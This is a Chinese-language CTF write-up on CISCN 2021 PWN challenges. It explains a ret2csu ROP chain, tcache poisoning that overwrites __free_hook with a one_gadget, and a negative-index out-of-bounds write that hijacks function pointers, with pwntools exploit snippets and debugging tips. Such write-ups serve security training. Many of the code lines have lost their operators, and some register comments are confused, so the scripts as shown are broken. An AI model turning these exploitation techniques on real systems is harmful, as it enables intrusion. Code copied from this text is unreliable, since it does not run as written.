ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

CISCN 2021 PWN赛题解析:栈溢出、堆利用与逻辑漏洞实战

CISCN 2021 PWN赛题解析:栈溢出、堆利用与逻辑漏洞实战 1. 赛事背景与PWN挑战概述全国大学生信息安全竞赛CISCN是国内信息安全领域极具影响力的年度赛事其PWN二进制漏洞利用方向更是高手云集、技术含量最高的赛道之一。2021年的第十四届赛事PWN题目在难度和广度上都有了新的突破不仅考察传统的栈溢出、堆利用更深入融合了现代操作系统保护机制、复杂程序逻辑分析以及新颖的利用技巧。对于每一位投身于二进制安全研究的学习者和从业者来说复盘这些赛题不仅仅是回顾解题过程更是理解当下漏洞利用技术演进趋势、锤炼实战能力的绝佳途径。这篇文章我将从一个一线CTF选手和二进制安全研究者的视角带你深入拆解2021年CISCN PWN部分的核心赛题。我会详细还原当时的解题思路剖析每道题背后的漏洞原理、绕过保护机制的手法并分享在高压比赛环境下如何进行快速分析、工具链选择以及利用脚本编写的实战经验。无论你是正在备赛的学生还是希望精进PWN技术的安全爱好者相信这篇详尽的Writeup都能为你提供扎实的参考和启发。2. 解题环境搭建与核心工具链解析工欲善其事必先利其器。在深入题目之前搭建一个稳定、高效的调试分析环境是重中之重。与日常研究不同CTF比赛环境通常具有隔离性且题目附件可能包含特殊的库文件或配置。2.1 比赛环境复现与依赖处理比赛提供的题目附件通常是一个压缩包里面包含了二进制程序、动态链接库libc以及可能存在的其他文件如ld.so。第一步永远是准确复现题目运行环境。我个人的习惯是使用patchelf工具来修改二进制文件的解释器和库路径确保其在本地环境与远程环境一致。# 查看二进制文件信息 file pwn checksec pwn # 使用patchelf修改解释器和库 patchelf --set-interpreter ./ld-2.31.so ./pwn patchelf --replace-needed libc.so.6 ./libc-2.31.so ./pwn # 给予执行权限 chmod x pwn这里有一个关键细节ld.so的版本必须与libc.so版本匹配否则程序可能无法正常运行或堆内存布局会出现难以预料的偏差直接影响利用的稳定性。我曾在一次练习中因为混用了不同小版本的ld和libc导致one_gadget的偏移怎么算都不对浪费了大量时间。因此在解压题目附件后务必先确认libc版本并找到对应的ld。2.2 动态调试与静态分析工具的选择与联动动态调试我首选pwndbg插件增强的GDB。它的堆命令如heap、bins和上下文显示非常强大。对于静态分析IDA Pro或Ghidra是必不可少的。我的工作流通常是先用IDA进行快速的程序逻辑和函数识别理清大致的程序流和关键函数然后在关键点如输入函数、判断逻辑下断点用pwndbg进行动态跟踪观察内存状态和寄存器变化。两者联动有一个高效技巧在IDA中分析出关键代码的地址后直接在pwndbg中使用break *0x401234下断点。同时利用pwndbg的telescope或x/20gx命令来观察栈和堆的布局结合IDA的反编译结果能快速理解数据结构。例如看到一个malloc返回的指针在动态调试中追踪其内容再回到IDA中查看操作该指针的代码就能清晰还原出结构体定义。注意比赛时网络环境可能不稳定远程调试gdb.attach(p)有时会失效或延迟过高。因此必须锻炼本地精确模拟远程环境的能力并习惯于通过pwntools的recv系列函数和大量print输出来进行“盲调”或“半盲调”。将关键的地址信息、偏移量通过脚本打印出来是提高调试效率的关键。3. 典型赛题深度剖析从漏洞发现到利用链构造2021年CISCN的PWN题涵盖了多个方向我们选取其中三道具有代表性的题目进行深度解析分别对应栈漏洞、堆漏洞和结合了新颖逻辑的漏洞类型。3.1 题目一基于栈溢出的ROP链构造与ret2csu技巧这道题是一个经典的64位栈溢出但开启了NX不可执行栈保护因此需要转向ROP返回导向编程。程序本身很小提供的gadget有限。漏洞点分析通过IDA静态分析发现主函数中有一个对read函数的调用其读取长度远大于栈上缓冲区的长度造成了栈溢出。使用cyclic工具可以快速定位到返回地址的偏移。from pwn import * context.log_level debug p process(./pwn1) payload cyclic(500) p.sendline(payload) p.wait() core p.corefile offset cyclic_find(core.read(core.rsp, 4)) print(fOffset to RIP: {offset})利用链构造由于程序没有提供system函数和/bin/sh字符串我们需要先泄露libc地址。程序中存在一个puts函数可以用于输出GOT表项。经典的思路是构造第一次ROP调用puts(putsgot)泄露地址然后返回到main函数或另一个输入点进行第二次溢出最终调用system(‘/bin/sh’)。难点与技巧在64位系统下函数前六个参数通过寄存器rdi, rsi, rdx, rcx, r8, r9传递。我们通常需要pop rdi; ret这样的gadget来控制第一个参数。但在这道题中直接寻找pop rdi; ret可能找不到或者pop rsi; ret也缺失。这时一个被称为__libc_csu_init的通用gadget简称ret2csu就派上了用场。这个函数末尾有一段固定的指令序列可以用于控制rdi, rsi, rdx三个寄存器虽然操作稍显复杂但在gadget匮乏时是救命稻草。# ret2csu 利用代码片段示例 csu_pop_gadget 0x40089A # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret csu_call_gadget 0x400880 # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12rbx*8] # 第一次调用布置参数调用puts泄露地址 payload bA * offset payload p64(csu_pop_gadget) payload p64(0) # rbx payload p64(1) # rbp用于后面判断跳转 payload p64(puts_got) # r12 - 要调用的函数指针地址 payload p64(0) # r13 - edi (低32位)但puts只需要一个参数我们用rdi传这里先填0后面用其他gadget补 payload p64(puts_got) # r14 - rsi这里我们复用地址实际需要的是要泄露的地址本身 payload p64(8) # r15 - rdx输出字节数 payload p64(csu_call_gadget) # ... 后续需要填充7个qword以平衡栈并跳转回main这个构造需要仔细计算栈布局确保csu_call_gadget执行后能正确返回到我们控制的下一条指令。这需要动态调试来验证每一步的寄存器状态和栈指针位置。3.2 题目二堆风水Heap Feng Shui与Tcache Poisoning实战这道题是一个菜单堆题提供了分配、编辑、释放、查看功能。保护机制全开Canary, NX, PIE, ASLR。漏洞点在于编辑功能存在一个堆溢出可以溢出到相邻堆块。漏洞与利用策略由于存在PIE地址随机化我们首先需要泄露一个堆地址或libc地址。通常通过释放一个大小不属于fastbin的块到unsorted bin再申请回来其fd和bk指针会指向libc的main_arena区域从而泄露libc基址。另一种常见方法是利用UAF释放后使用漏洞直接打印已释放块的内容。在泄露了libc地址后利用堆溢出实施Tcache Poisoning攻击是本题的关键。现代glibc2.26引入了tcache机制它比fastbin更优先且安全性检查在早期版本中相对宽松。我们的目标是劫持tcache链将一个堆块分配到__free_hook或malloc_hook附近。详细步骤堆布局首先分配若干个小堆块如0x100大小并释放其中两个让它们进入tcache bin。tcache是单链表第一个释放的块在链尾。触发溢出编辑与某个已释放tcache块相邻的前一个块利用堆溢出修改已释放块的fd指针。由于tcache在取出时只检查next指针是否对齐不检查其指向的块是否合法我们可以将fd修改为目标地址如__free_hook地址。分配劫持连续两次申请相同大小的块。第一次申请会得到原本的堆块第二次申请就会得到我们fd指向的“伪造”块即__free_hook附近的地址。写入one_gadget向这个“伪造”块写入数据实际上就是向__free_hook写入one_gadget的地址。触发执行最后释放任意一个块free()函数会调用__free_hook从而跳转到one_gadget获取shell。# 简化版的利用脚本核心部分 alloc(0, 0x100) # chunk0 alloc(1, 0x100) # chunk1 alloc(2, 0x100) # chunk2 用于隔离防止合并 free(0) free(1) # chunk1, chunk0 进入tcache[0x110] # 假设通过溢出修改chunk1的fd为 fake_addr (__free_hook - 0x10) edit(0, bA*0x100 p64(0) p64(0x111) p64(fake_addr)) alloc(3, 0x100) # 取出chunk0 alloc(4, 0x100) # 取出被污染的chunk1-fd即fake_addr # 现在对index4进行编辑就是向fake_addr写入数据 edit(4, p64(one_gadget_addr)) # 触发free_hook free(2)实操心得Tcache Poisoning的成功率高度依赖于堆布局。在实战中可能需要先进行几次“垫块”操作来稳定堆的状态避免因为前后堆块的合并consolidate打乱布局。同时要注意不同版本glibc中tcache的机制差异例如在2.32及以上版本引入了safe linking指针异或加密需要先泄露堆地址才能进行伪造。3.3 题目三逻辑漏洞与数据流劫持的复合利用这道题看起来不是一个传统的堆栈题更像一个模拟的“虚拟机”或者自定义协议解析器。程序读取用户输入根据一套自定义的指令集进行相应的操作。漏洞隐藏在某个特定指令的处理逻辑中。逆向分析重点面对这种题目静态分析的重要性远超动态调试。首先要用IDA理清所有自定义指令的处理函数handler。重点关注那些涉及内存读写、指针运算的指令。常见的漏洞模式包括数组索引未校验导致越界读写、整数溢出、类型混淆等。漏洞发现通过审计代码发现一条“存储”指令其操作数是一个索引值用于访问一个全局数组。该索引值来自用户输入程序虽然做了范围检查但检查的是“是否小于数组大小”却没有检查是否大于等于0。如果传入一个很大的负数在补码表示下是一个很大的正数就能通过检查导致向数组起始地址之前的内存写入数据这实际上是一个全局数据区.bss段的越界写。利用思路这个越界写可以覆盖哪些关键数据呢我们需要分析.bss段的内存布局。发现数组前面不远处就存储着几个重要的函数指针这些指针在程序后续逻辑中会被调用。因此利用步骤可以设计为通过越界写将其中一个函数指针覆盖为printf或puts的GOT表地址。触发程序调用这个被覆盖的函数指针同时控制传入的参数使其指向另一个我们想泄露的GOT表项如libc_start_main从而泄露libc地址。再次利用越界写将函数指针覆盖为system地址并布置好参数如/bin/sh字符串的地址再次触发调用获得shell。难点如何将/bin/sh字符串写入内存可控区域这需要结合程序的其他功能。可能程序本身就提供了数据存储功能或者可以利用已有的越界写能力将字符串写入.bss段的某个空闲区域。这需要仔细规划内存布局计算精确的偏移。# 假设array基地址为0x6020A0 目标函数指针位于0x602040 # 索引计算 (0x602040 - 0x6020A0) / 8 -12 (因为每个元素8字节) # 所以传入索引 -12 即可写到目标指针处 # 第一步覆盖指针为putsgot并触发调用泄露libc # 假设触发调用的指令需要参数放在 rdi # 我们需要先通过其他指令将想要泄露的地址如libc_start_maingot放入rdi对应的数据槽 # 然后发送覆盖索引和值为 putsgot payload craft_instruction_to_set_rdi(libc_start_main_got) payload craft_instruction_to_write_to_index(-12, puts_got) payload craft_instruction_to_call_overwritten_pointer() send_payload(payload) leak recv_leak() libc_base u64(leak.ljust(8, b\x00)) - libc.sym[__libc_start_main]这类题目考察的是综合的逆向工程能力和漏洞转化能力需要将抽象的漏洞转化为具体的、可控制的读写原语再串联成完整的利用链。4. 比赛实战技巧与问题排查实录在紧张的比赛环境中快速定位问题并调整策略至关重要。以下是我根据多次参赛经验总结的实战技巧和常见问题排查方法。4.1 脚本编写与交互稳定性优化使用pwntools编写利用脚本时稳定性是第一位的。远程连接可能延迟高、不稳定本地调试时也可能因为环境差异导致意外。技巧一使用上下文管理器和超时设置from pwn import * context(archamd64, oslinux, log_levelinfo) # 使用 timeout 参数防止脚本卡死 conn remote(target, 9999, timeout5) # 或者使用 process 并设置 alarm p process(./pwn) p.settimeout(5)技巧二规范化输入/输出处理不要假设远程服务和本地行为完全一致。对于菜单类题目在每次发送选项后使用recvuntil(bchoice:)这样的语句来确保程序状态同步。对于输出内容使用recvline()或recvuntil(delimiter)来精确接收避免粘包问题。对于不确定长度的泄露数据可以先接收一定字节然后根据内容如是否以\n结尾判断。技巧三模块化与调试开关将不同的攻击阶段如泄露地址、构造payload写成函数。在脚本开头设置一个DEBUG变量方便切换本地调试和远程攻击。DEBUG False if DEBUG: p process(./pwn) # 可以附加gdb # gdb.attach(p, gdbscriptb *0x400800\nc) else: p remote(node4.buuoj.cn, 29999)4.2 常见问题与快速排查指南在利用过程中经常会遇到脚本本地成功但远程失败的情况。下面是一个快速排查清单现象可能原因排查方法连接远程后立即断开或收不到回显1. 题目有反调试或初始化失败2. 本地libc/ld版本与远程不符3. 网络或服务器问题1. 检查程序是否有ptrace、alarm等反调试尝试ncat手动交互。2. 使用ldd和file命令确认二进制依赖务必使用题目提供的libc/ld。3. 换用其他网络或稍后重试。泄露的地址计算后明显不对如非0x7f开头1. 接收数据不完整或包含多余字符如换行、空格。2. 泄露的不是指针本身而是指针指向的内容。3. 偏移计算错误。1. 将接收到的原始数据用hexdump打印出来确认字节序和长度。2. 动态调试在泄露点查看目标内存的确切值。3. 核对libc版本确认符号偏移是否正确使用libc.sym[‘puts’]。执行到one_gadget时崩溃1.one_gadget的约束条件不满足如rsp0x50为NULL。2. 栈布局或寄存器状态不满足条件。3.__free_hook或__malloc_hook附近地址不可写。1. 尝试不同的one_gadget通常有多个候选。2. 在调用hook前用ROP或其它方法调整寄存器状态。3. 考虑其他hook或_IO_FILE结构体攻击如FSOP。堆利用时第二次分配未拿到预期地址1. Tcache或fastbin链被意外破坏如double free检测。2. 堆布局计算错误溢出修改了错误的块。3. 大小检查未通过如size域被破坏。1. 在每次关键操作free,malloc后使用heap命令查看堆状态。2. 动态调试在溢出点查看内存确认覆盖是否准确。3. 检查堆块的size域是否被溢出修改需保持其原有值以通过检查。利用脚本在本地成功远程失败1. 远程libc版本不同即使文件名相同build id可能不同。2. 系统环境差异如内核版本、seccomp沙盒。3. 随机化差异ASLR导致布局微调。1. 尝试用DynELF等工具动态泄露远程libc版本。2. 检查题目描述是否提示有沙盒使用seccomp-tools分析。3. 堆利用脚本应具有一定鲁棒性避免依赖绝对偏移多使用相对偏移或泄露的地址进行计算。4.3 心态与时间管理最后也是最重要的一点是比赛时的心态。PWN题往往卡住就是几个小时。我的经验是设置时间盒。例如对一道题分析30分钟后如果毫无头绪就快速浏览一下其他题目或许有更简单的突破口。同时善用团队协作与队友分享逆向发现和思路可能别人的一个观点就能点醒你。永远不要忽视静态分析的基础工作草草看几眼汇编就急着写利用脚本往往会在后期浪费更多时间去调试那些因理解偏差导致的错误。把程序逻辑、数据结构画在纸上是理清复杂题目最有效的方法之一。
返回列表